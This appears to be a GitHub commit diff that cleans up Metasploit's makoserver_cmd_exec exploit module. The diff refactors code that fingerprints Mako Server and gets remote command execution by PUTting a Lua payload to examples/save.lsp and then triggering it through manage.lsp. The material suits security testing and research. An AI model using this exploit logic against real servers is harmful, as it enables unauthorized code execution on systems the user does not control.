Skip to content

Commit 7b5ec9d

Browse files
committed
Land rapid7#9193, makoserver_cmd_exec cleanup
2 parents 7595c7c + ea260e8 commit 7b5ec9d

File tree

1 file changed

+18
-14
lines changed

1 file changed

+18
-14
lines changed

modules/exploits/windows/http/makoserver_cmd_exec.rb

Lines changed: 18 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def initialize(info = {})
4242

4343
register_options(
4444
[
45-
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
45+
OptString.new('TARGETURI', [true, 'URI path to the Mako Server app', '/'])
4646
]
4747
)
4848
end
@@ -53,17 +53,17 @@ def check
5353
# Send GET request to determine existence of save.lsp page
5454
res = send_request_cgi({
5555
'method' => 'GET',
56-
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
56+
'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')
5757
}, 20)
5858

5959
# If response does not include "MakoServer.net", target is not viable.
60-
if res.headers['Server'] !~ /MakoServer.net/
60+
if res.headers['Server'] !~ /MakoServer\.net/
6161
vprint_warning('Target is not a Mako Server.')
6262
return CheckCode::Safe
6363
end
6464

6565
if res.body
66-
if res.body =~ /Incorrect usage/
66+
if res.body.include?('Incorrect usage')
6767
# We are able to determine that the server has a save.lsp page and
6868
# returns the correct output.
6969
vprint_status('Mako Server save.lsp returns correct ouput.')
@@ -80,7 +80,7 @@ def check
8080
return CheckCode::Unknown
8181
end
8282

83-
return CheckCode::Safe
83+
CheckCode::Safe
8484
end
8585

8686
def exploit
@@ -98,13 +98,12 @@ def exploit
9898
begin
9999
vprint_status('Sending PUT request to save.lsp...')
100100
send_request_cgi({
101-
'method' => 'PUT',
102-
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
103-
'ctype' => 'text/plain',
104-
'data' => cmd,
105-
'http' => {
106-
'X-Requested-With' => 'XMLHttpRequest',
107-
'Referer' => 'http://localhost/Lua-Types.lsp'
101+
'method' => 'PUT',
102+
'uri' => normalize_uri(target_uri.path, 'examples/save.lsp'),
103+
'ctype' => 'text/plain',
104+
'data' => cmd,
105+
'vars_get' => {
106+
'ex' => '2.1'
108107
}
109108
}, 20)
110109
rescue StandardError => e
@@ -115,8 +114,13 @@ def exploit
115114
begin
116115
vprint_status('Sending GET request to manage.lsp...')
117116
send_request_cgi({
118-
'method' => 'GET',
119-
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
117+
'method' => 'GET',
118+
'uri' => normalize_uri(target_uri.path, 'examples/manage.lsp'),
119+
'vars_get' => {
120+
'execute' => 'true',
121+
'ex' => '2.1',
122+
'type' => 'lua'
123+
}
120124
}, 20)
121125
rescue StandardError => e
122126
fail_with(Failure::NoAccess, "Error: #{e}")

0 commit comments

Comments
 (0)